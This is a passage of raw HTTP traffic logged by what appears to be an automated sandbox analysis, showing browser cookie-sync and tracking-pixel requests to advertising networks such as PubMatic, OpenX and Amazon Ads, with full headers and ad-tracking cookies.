KRTBCOOKIE_80=22987-CAESEPI9hVJH5w22DLuOR_CuGrs&KRTB&23025-CAESEPI9hVJH5w22DLuOR_CuGrs&KRTB&23386-CAESEPI9hVJH5w22DLuOR_CuGrs; SPugT=1704929239; chkChromeAb67Sec=2; pi=0:4; DPSync3=1706054400%3A262_261_260_259_201_263%7C1704931200%3A248%7C1705449600%3A265; SyncRTB3=1706054400%3A250_104_165_3_178_54_22_55_5_231_71_166_220_21_13_8%7C1705449600%3A223_2_15%7C1705708800%3A63; KRTBCOOKIE_57=22776-7367141199740274687&KRTB&23339-7367141199740274687; KRTBCOOKIE_153=1923-L54fEiucQk00nx4ReJoLQSjIEhU0nBNGKc6P_GI-&KRTB&19420-L54fEiucQk00nx4ReJoLQSjIEhU0nBNGKc6P_GI-&KRTB&22979-L54fEiucQk00nx4ReJoLQSjIEhU0nBNGKc6P_GI-&KRTB&23462-L54fEiucQk00nx4ReJoLQSjIEhU0nBNGKc6P_GI-; KRTBCOOKIE_107=1471-uid:Rw6Yt2Jl1RnHYF5&KRTB&23421-uid:Rw6Yt2Jl1RnHYF5; PugT=1704929241
Source: global traffic	HTTP traffic detected: GET /AdServer/Pug?vcode=bz0yJnR5cGU9MSZqcz0xJmNvZGU9Mjk0NSZ0bD0xMjk2MDA=&piggybackCookie=f6435827-796b-4521-81e9-11e581628f69&gdpr=&gdpr_consent=&gdpr_pd=&us_privacy= HTTP/1.1Host: simage2.pubmatic.comConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Referer: https://ads.pubmatic.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: KADUSERCOOKIE=AF1A30B0-24B8-476E-AED4-BE8DCAFA41C4; KRTBCOOKIE_1003=22761-cabe22d6-b00f-11ee-b20f-088496e42def&KRTB&23275-cabe22d6-b00f-11ee-b20f-088496e42def; KRTBCOOKIE_377=6810-bd6a219c-2538-477b-90ee-6d20c7860c4b&KRTB&22918-bd6a219c-2538-477b-90ee-6d20c7860c4b&KRTB&22926-bd6a219c-2538-477b-90ee-6d20c7860c4b&KRTB&23031-bd6a219c-2538-477b-90ee-6d20c7860c4b; KRTBCOOKIE_148=19421-uid:A342B32A0BAA4852AA53FE42CB7195F6&KRTB&23486-uid:A342B32A0BAA4852AA53FE42CB7195F6&KRTB&23489-uid:A342B32A0BAA4852AA53FE42CB7195F6&KRTB&23539-uid:A342B32A0BAA4852AA53FE42CB7195F6; KRTBCOOKIE_279=22890-41161a4c-fb0e-4073-8161-2fb10dec6a95&KRTB&23011-41161a4c-fb0e-4073-8161-2fb10dec6a95&KRTB&23355-41161a4c-fb0e-4073-8161-2fb10dec6a95; KRTBCOOKIE_80=22987-CAESEPI9hVJH5w22DLuOR_CuGrs&KRTB&23025-CAESEPI9hVJH5w22DLuOR_CuGrs&KRTB&23386-CAESEPI9hVJH5w22DLuOR_CuGrs; SPugT=1704929239; chkChromeAb67Sec=2; pi=0:4; DPSync3=1706054400%3A262_261_260_259_201_263%7C1704931200%3A248%7C1705449600%3A265; SyncRTB3=1706054400%3A250_104_165_3_178_54_22_55_5_231_71_166_220_21_13_8%7C1705449600%3A223_2_15%7C1705708800%3A63; KRTBCOOKIE_57=22776-7367141199740274687&KRTB&23339-7367141199740274687; KRTBCOOKIE_153=1923-L54fEiucQk00nx4ReJoLQSjIEhU0nBNGKc6P_GI-&KRTB&19420-L54fEiucQk00nx4ReJoLQSjIEhU0nBNGKc6P_GI-&KRTB&22979-L54fEiucQk00nx4ReJoLQSjIEhU0nBNGKc6P_GI-&KRTB&23462-L54fEiucQk00nx4ReJoLQSjIEhU0nBNGKc6P_GI-; KRTBCOOKIE_107=1471-uid:Rw6Yt2Jl1RnHYF5&KRTB&23421-uid:Rw6Yt2Jl1RnHYF5; PugT=1704929241
Source: global traffic	HTTP traffic detected: GET /AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTI5NDcmdGw9MTI5NjAw&piggybackCookie=875421843233 HTTP/1.1Host: simage2.pubmatic.comConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Referer: https://ads.pubmatic.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: KADUSERCOOKIE=AF1A30B0-24B8-476E-AED4-BE8DCAFA41C4; KRTBCOOKIE_1003=22761-cabe22d6-b00f-11ee-b20f-088496e42def&KRTB&23275-cabe22d6-b00f-11ee-b20f-088496e42def; KRTBCOOKIE_377=6810-bd6a219c-2538-477b-90ee-6d20c7860c4b&KRTB&22918-bd6a219c-2538-477b-90ee-6d20c7860c4b&KRTB&22926-bd6a219c-2538-477b-90ee-6d20c7860c4b&KRTB&23031-bd6a219c-2538-477b-90ee-6d20c7860c4b; KRTBCOOKIE_148=19421-uid:A342B32A0BAA4852AA53FE42CB7195F6&KRTB&23486-uid:A342B32A0BAA4852AA53FE42CB7195F6&KRTB&23489-uid:A342B32A0BAA4852AA53FE42CB7195F6&KRTB&23539-uid:A342B32A0BAA4852AA53FE42CB7195F6; KRTBCOOKIE_279=22890-41161a4c-fb0e-4073-8161-2fb10dec6a95&KRTB&23011-41161a4c-fb0e-4073-8161-2fb10dec6a95&KRTB&23355-41161a4c-fb0e-4073-8161-2fb10dec6a95; KRTBCOOKIE_80=22987-CAESEPI9hVJH5w22DLuOR_CuGrs&KRTB&23025-CAESEPI9hVJH5w22DLuOR_CuGrs&KRTB&23386-CAESEPI9hVJH5w22DLuOR_CuGrs; SPugT=1704929239; chkChromeAb67Sec=2; pi=0:4; DPSync3=1706054400%3A262_261_260_259_201_263%7C1704931200%3A248%7C1705449600%3A265; SyncRTB3=1706054400%3A250_104_165_3_178_54_22_55_5_231_71_166_220_21_13_8%7C1705449600%3A223_2_15%7C1705708800%3A63; KRTBCOOKIE_57=22776-7367141199740274687&KRTB&23339-7367141199740274687; KRTBCOOKIE_153=1923-L54fEiucQk00nx4ReJoLQSjIEhU0nBNGKc6P_GI-&KRTB&19420-L54fEiucQk00nx4ReJoLQSjIEhU0nBNGKc6P_GI-&KRTB&22979-L54fEiucQk00nx4ReJoLQSjIEhU0nBNGKc6P_GI-&KRTB&23462-L54fEiucQk00nx4ReJoLQSjIEhU0nBNGKc6P_GI-; KRTBCOOKIE_107=1471-uid:Rw6Yt2Jl1RnHYF5&KRTB&23421-uid:Rw6Yt2Jl1RnHYF5; PugT=1704929241
Source: global traffic	HTTP traffic detected: GET /pbmtc.gif?puid=AF1A30B0-24B8-476E-AED4-BE8DCAFA41C4 HTTP/1.1Host: beacon.lynx.cognitivlabs.comConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Referer: https://ads.pubmatic.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /int/cm?exc=14&redir=https://simage2.pubmatic.com/AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTM0MTEmdGw9MjAxNjA=&piggybackCookie=[user_id] HTTP/1.1Host: ipac.ctnsnet.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://ads.pubmatic.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: cid_3eb4f1d28af642b8a97d60a85e0f7108=1
Source: global traffic	HTTP traffic detected: GET /services?uid=AABsm07LPlAAABMLLoldYg&srv=cs&pid=73&cb=https%3A%2F%2Fmatch.prod.bidr.io%2Fcookie-sync%3Fgdpr%3D0%26gdpr%3D0%26userid%3D5415633966123335522%26gdpr%3D0%26gdpr_consent%3D%26bee_sync_partners%3Dpm%26bee_sync_current_partner%3Dsyn%26bee_sync_initiator%3Dadx%26bee_sync_hop_count%3D4&gdpr=0 HTTP/1.1Host: sync.technoratimedia.comConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Referer: https://ads.pubmatic.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTM2MiZ0bD0xMjk2MDA==&piggybackCookie=uid:d579659f-27da-4200-92f9-660cb89fa4ac&gdpr=0&gdpr_consent= HTTP/1.1Host: simage2.pubmatic.comConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Referer: https://ads.pubmatic.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: KADUSERCOOKIE=AF1A30B0-24B8-476E-AED4-BE8DCAFA41C4; KRTBCOOKIE_1003=22761-cabe22d6-b00f-11ee-b20f-088496e42def&KRTB&23275-cabe22d6-b00f-11ee-b20f-088496e42def; KRTBCOOKIE_377=6810-bd6a219c-2538-477b-90ee-6d20c7860c4b&KRTB&22918-bd6a219c-2538-477b-90ee-6d20c7860c4b&KRTB&22926-bd6a219c-2538-477b-90ee-6d20c7860c4b&KRTB&23031-bd6a219c-2538-477b-90ee-6d20c7860c4b; KRTBCOOKIE_148=19421-uid:A342B32A0BAA4852AA53FE42CB7195F6&KRTB&23486-uid:A342B32A0BAA4852AA53FE42CB7195F6&KRTB&23489-uid:A342B32A0BAA4852AA53FE42CB7195F6&KRTB&23539-uid:A342B32A0BAA4852AA53FE42CB7195F6; KRTBCOOKIE_279=22890-41161a4c-fb0e-4073-8161-2fb10dec6a95&KRTB&23011-41161a4c-fb0e-4073-8161-2fb10dec6a95&KRTB&23355-41161a4c-fb0e-4073-8161-2fb10dec6a95; KRTBCOOKIE_80=22987-CAESEPI9hVJH5w22DLuOR_CuGrs&KRTB&23025-CAESEPI9hVJH5w22DLuOR_CuGrs&KRTB&23386-CAESEPI9hVJH5w22DLuOR_CuGrs; SPugT=1704929239; chkChromeAb67Sec=2; pi=0:4; DPSync3=1706054400%3A262_261_260_259_201_263%7C1704931200%3A248%7C1705449600%3A265; SyncRTB3=1706054400%3A250_104_165_3_178_54_22_55_5_231_71_166_220_21_13_8%7C1705449600%3A223_2_15%7C1705708800%3A63; KRTBCOOKIE_57=22776-7367141199740274687&KRTB&23339-7367141199740274687; KRTBCOOKIE_153=1923-L54fEiucQk00nx4ReJoLQSjIEhU0nBNGKc6P_GI-&KRTB&19420-L54fEiucQk00nx4ReJoLQSjIEhU0nBNGKc6P_GI-&KRTB&22979-L54fEiucQk00nx4ReJoLQSjIEhU0nBNGKc6P_GI-&KRTB&23462-L54fEiucQk00nx4ReJoLQSjIEhU0nBNGKc6P_GI-; KRTBCOOKIE_107=1471-uid:Rw6Yt2Jl1RnHYF5&KRTB&23421-uid:Rw6Yt2Jl1RnHYF5; KRTBCOOKIE_1278=23329-c1104da8-8b46-4cf5-be20-49100dc0f27c&KRTB&23340-c1104da8-8b46-4cf5-be20-49100dc0f27c&KRTB&23498-c1104da8-8b46-4cf5-be20-49100dc0f27c; PugT=1704929242
Source: global traffic	HTTP traffic detected: GET /pubmatic HTTP/1.1Host: gocm.c.appier.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://ads.pubmatic.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /AdServer/Pug?vcode&piggybackCookie={viewer_token} HTTP/1.1Host: simage2.pubmatic.comConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Referer: https://ads.pubmatic.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: KADUSERCOOKIE=AF1A30B0-24B8-476E-AED4-BE8DCAFA41C4; KRTBCOOKIE_1003=22761-cabe22d6-b00f-11ee-b20f-088496e42def&KRTB&23275-cabe22d6-b00f-11ee-b20f-088496e42def; KRTBCOOKIE_377=6810-bd6a219c-2538-477b-90ee-6d20c7860c4b&KRTB&22918-bd6a219c-2538-477b-90ee-6d20c7860c4b&KRTB&22926-bd6a219c-2538-477b-90ee-6d20c7860c4b&KRTB&23031-bd6a219c-2538-477b-90ee-6d20c7860c4b; KRTBCOOKIE_148=19421-uid:A342B32A0BAA4852AA53FE42CB7195F6&KRTB&23486-uid:A342B32A0BAA4852AA53FE42CB7195F6&KRTB&23489-uid:A342B32A0BAA4852AA53FE42CB7195F6&KRTB&23539-uid:A342B32A0BAA4852AA53FE42CB7195F6; KRTBCOOKIE_279=22890-41161a4c-fb0e-4073-8161-2fb10dec6a95&KRTB&23011-41161a4c-fb0e-4073-8161-2fb10dec6a95&KRTB&23355-41161a4c-fb0e-4073-8161-2fb10dec6a95; KRTBCOOKIE_80=22987-CAESEPI9hVJH5w22DLuOR_CuGrs&KRTB&23025-CAESEPI9hVJH5w22DLuOR_CuGrs&KRTB&23386-CAESEPI9hVJH5w22DLuOR_CuGrs; SPugT=1704929239; chkChromeAb67Sec=2; pi=0:4; DPSync3=1706054400%3A262_261_260_259_201_263%7C1704931200%3A248%7C1705449600%3A265; SyncRTB3=1706054400%3A250_104_165_3_178_54_22_55_5_231_71_166_220_21_13_8%7C1705449600%3A223_2_15%7C1705708800%3A63; KRTBCOOKIE_57=22776-7367141199740274687&KRTB&23339-7367141199740274687; KRTBCOOKIE_153=1923-L54fEiucQk00nx4ReJoLQSjIEhU0nBNGKc6P_GI-&KRTB&19420-L54fEiucQk00nx4ReJoLQSjIEhU0nBNGKc6P_GI-&KRTB&22979-L54fEiucQk00nx4ReJoLQSjIEhU0nBNGKc6P_GI-&KRTB&23462-L54fEiucQk00nx4ReJoLQSjIEhU0nBNGKc6P_GI-; KRTBCOOKIE_107=1471-uid:Rw6Yt2Jl1RnHYF5&KRTB&23421-uid:Rw6Yt2Jl1RnHYF5; KRTBCOOKIE_1278=23329-c1104da8-8b46-4cf5-be20-49100dc0f27c&KRTB&23340-c1104da8-8b46-4cf5-be20-49100dc0f27c&KRTB&23498-c1104da8-8b46-4cf5-be20-49100dc0f27c; KRTBCOOKIE_18=22947-968062845637553879; KRTBCOOKIE_860=16335-iM6nzEFLWTFEkJOJAAs0EGalMCo&KRTB&23334-iM6nzEFLWTFEkJOJAAs0EGalMCo&KRTB&23417-iM6nzEFLWTFEkJOJAAs0EGalMCo&KRTB&23426-iM6nzEFLWTFEkJOJAAs0EGalMCo; KRTBCOOKIE_469=8273-875421843233&KRTB&23428-875421843233; PugT=1704929242; KRTBCOOKIE_466=16530-f6435827-796b-4521-81e9-11e581628f69
Source: global traffic	HTTP traffic detected: GET /sync/pub?sid=161&suid=https://simage2.pubmatic.com/AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTM0NDQmdGw9MjAxNjA=&piggybackCookie=$UID HTTP/1.1Host: matching.truffle.bidConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://ads.pubmatic.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /usermatchredir?s=191740&cb=https%3A%2F%2Fsync.technoratimedia.com%2Fservices%3Fsrv%3Dcs%26nuid%3D4210822921CF40FDB04E5E61CD3868FF%26att%3D1%26pid%3D82%26cb%3Dhttps%253A%252F%252Fmatch.prod.bidr.io%252Fcookie-sync%253Fgdpr%253D0%2526gdpr%253D0%2526userid%253D5415633966123335522%2526gdpr%253D0%2526gdpr_consent%253D%2526bee_sync_partners%253Dpm%2526bee_sync_current_partner%253Dsyn%2526bee_sync_initiator%253Dadx%2526bee_sync_hop_count%253D4%26uid%3D HTTP/1.1Host: ssum-sec.casalemedia.comConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Referer: https://ads.pubmatic.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: receive-cookie-deprecation=1; CMID=ZZ8n1IPpYMLwQL-F1CLawgAA; CMPS=253; CMPRO=253
Source: global traffic	HTTP traffic detected: GET /cookiesync?gdpr=0&gdpr_consent= HTTP/1.1Host: core.iprom.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://ads.pubmatic.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTMyMDImdGw9MTI5NjAw&piggybackCookie=e9qoKPUsCQSvHM9C2yefZQ HTTP/1.1Host: image2.pubmatic.comConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Referer: https://ads.pubmatic.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: KADUSERCOOKIE=AF1A30B0-24B8-476E-AED4-BE8DCAFA41C4; KRTBCOOKIE_1003=22761-cabe22d6-b00f-11ee-b20f-088496e42def&KRTB&23275-cabe22d6-b00f-11ee-b20f-088496e42def; KRTBCOOKIE_377=6810-bd6a219c-2538-477b-90ee-6d20c7860c4b&KRTB&22918-bd6a219c-2538-477b-90ee-6d20c7860c4b&KRTB&22926-bd6a219c-2538-477b-90ee-6d20c7860c4b&KRTB&23031-bd6a219c-2538-477b-90ee-6d20c7860c4b; KRTBCOOKIE_148=19421-uid:A342B32A0BAA4852AA53FE42CB7195F6&KRTB&23486-uid:A342B32A0BAA4852AA53FE42CB7195F6&KRTB&23489-uid:A342B32A0BAA4852AA53FE42CB7195F6&KRTB&23539-uid:A342B32A0BAA4852AA53FE42CB7195F6; KRTBCOOKIE_279=22890-41161a4c-fb0e-4073-8161-2fb10dec6a95&KRTB&23011-41161a4c-fb0e-4073-8161-2fb10dec6a95&KRTB&23355-41161a4c-fb0e-4073-8161-2fb10dec6a95; KRTBCOOKIE_80=22987-CAESEPI9hVJH5w22DLuOR_CuGrs&KRTB&23025-CAESEPI9hVJH5w22DLuOR_CuGrs&KRTB&23386-CAESEPI9hVJH5w22DLuOR_CuGrs; SPugT=1704929239; chkChromeAb67Sec=2; pi=0:4; DPSync3=1706054400%3A262_261_260_259_201_263%7C1704931200%3A248%7C1705449600%3A265; SyncRTB3=1706054400%3A250_104_165_3_178_54_22_55_5_231_71_166_220_21_13_8%7C1705449600%3A223_2_15%7C1705708800%3A63; KRTBCOOKIE_57=22776-7367141199740274687&KRTB&23339-7367141199740274687; KRTBCOOKIE_153=1923-L54fEiucQk00nx4ReJoLQSjIEhU0nBNGKc6P_GI-&KRTB&19420-L54fEiucQk00nx4ReJoLQSjIEhU0nBNGKc6P_GI-&KRTB&22979-L54fEiucQk00nx4ReJoLQSjIEhU0nBNGKc6P_GI-&KRTB&23462-L54fEiucQk00nx4ReJoLQSjIEhU0nBNGKc6P_GI-; KRTBCOOKIE_107=1471-uid:Rw6Yt2Jl1RnHYF5&KRTB&23421-uid:Rw6Yt2Jl1RnHYF5; KRTBCOOKIE_1278=23329-c1104da8-8b46-4cf5-be20-49100dc0f27c&KRTB&23340-c1104da8-8b46-4cf5-be20-49100dc0f27c&KRTB&23498-c1104da8-8b46-4cf5-be20-49100dc0f27c; KRTBCOOKIE_18=22947-968062845637553879; KRTBCOOKIE_860=16335-iM6nzEFLWTFEkJOJAAs0EGalMCo&KRTB&23334-iM6nzEFLWTFEkJOJAAs0EGalMCo&KRTB&23417-iM6nzEFLWTFEkJOJAAs0EGalMCo&KRTB&23426-iM6nzEFLWTFEkJOJAAs0EGalMCo; KRTBCOOKIE_469=8273-875421843233&KRTB&23428-875421843233; PugT=1704929242; KRTBCOOKIE_466=16530-f6435827-796b-4521-81e9-11e581628f69; KRTBCOOKIE_27=16735-uid:d579659f-27da-4200-92f9-660cb89fa4ac
Source: global traffic	HTTP traffic detected: GET /services?srv=cs&nuid=4210822921CF40FDB04E5E61CD3868FF&att=1&pid=82&cb=https%3A%2F%2Fmatch.prod.bidr.io%2Fcookie-sync%3Fgdpr%3D0%26gdpr%3D0%26userid%3D5415633966123335522%26gdpr%3D0%26gdpr_consent%3D%26bee_sync_partners%3Dpm%26bee_sync_current_partner%3Dsyn%26bee_sync_initiator%3Dadx%26bee_sync_hop_count%3D4&uid=ZZ8n1IPpYMLwQL-F1CLawgAA%26253 HTTP/1.1Host: sync.technoratimedia.comConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Referer: https://ads.pubmatic.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: tads_uidp_73=AABsm07LPlAAABMLLoldYg; tads_uid=4210822921CF40FDB04E5E61CD3868FF; tads_uid_cd=20240110232722+0000; tads_zora=2
Source: global traffic	HTTP traffic detected: GET /w/1.0/sd?id=540245193&val=AF1A30B0-24B8-476E-AED4-BE8DCAFA41C4&gdpr=0&gdpr_consent= HTTP/1.1Host: us-u.openx.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ads.pubmatic.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: i=adf1d594-3006-0faa-26e7-7fcb0b6d0f69\|1704929237
Source: global traffic	HTTP traffic detected: GET /dmp/pixelSync?nid=3&gdpr=0&gdpr_consent= HTTP/1.1Host: pixel-sync.sitescout.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ads.pubmatic.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /dcm?pid=50cd21b7-d8d7-4615-9fb9-a2be831f8488&id=&gdpr=0&us_privacy=1YNN HTTP/1.1Host: s.amazon-adsystem.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://eus.rubiconproject.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: ad-id=AyjwvOXOUEBhiwCbt7I0SGw; ad-privacy=0
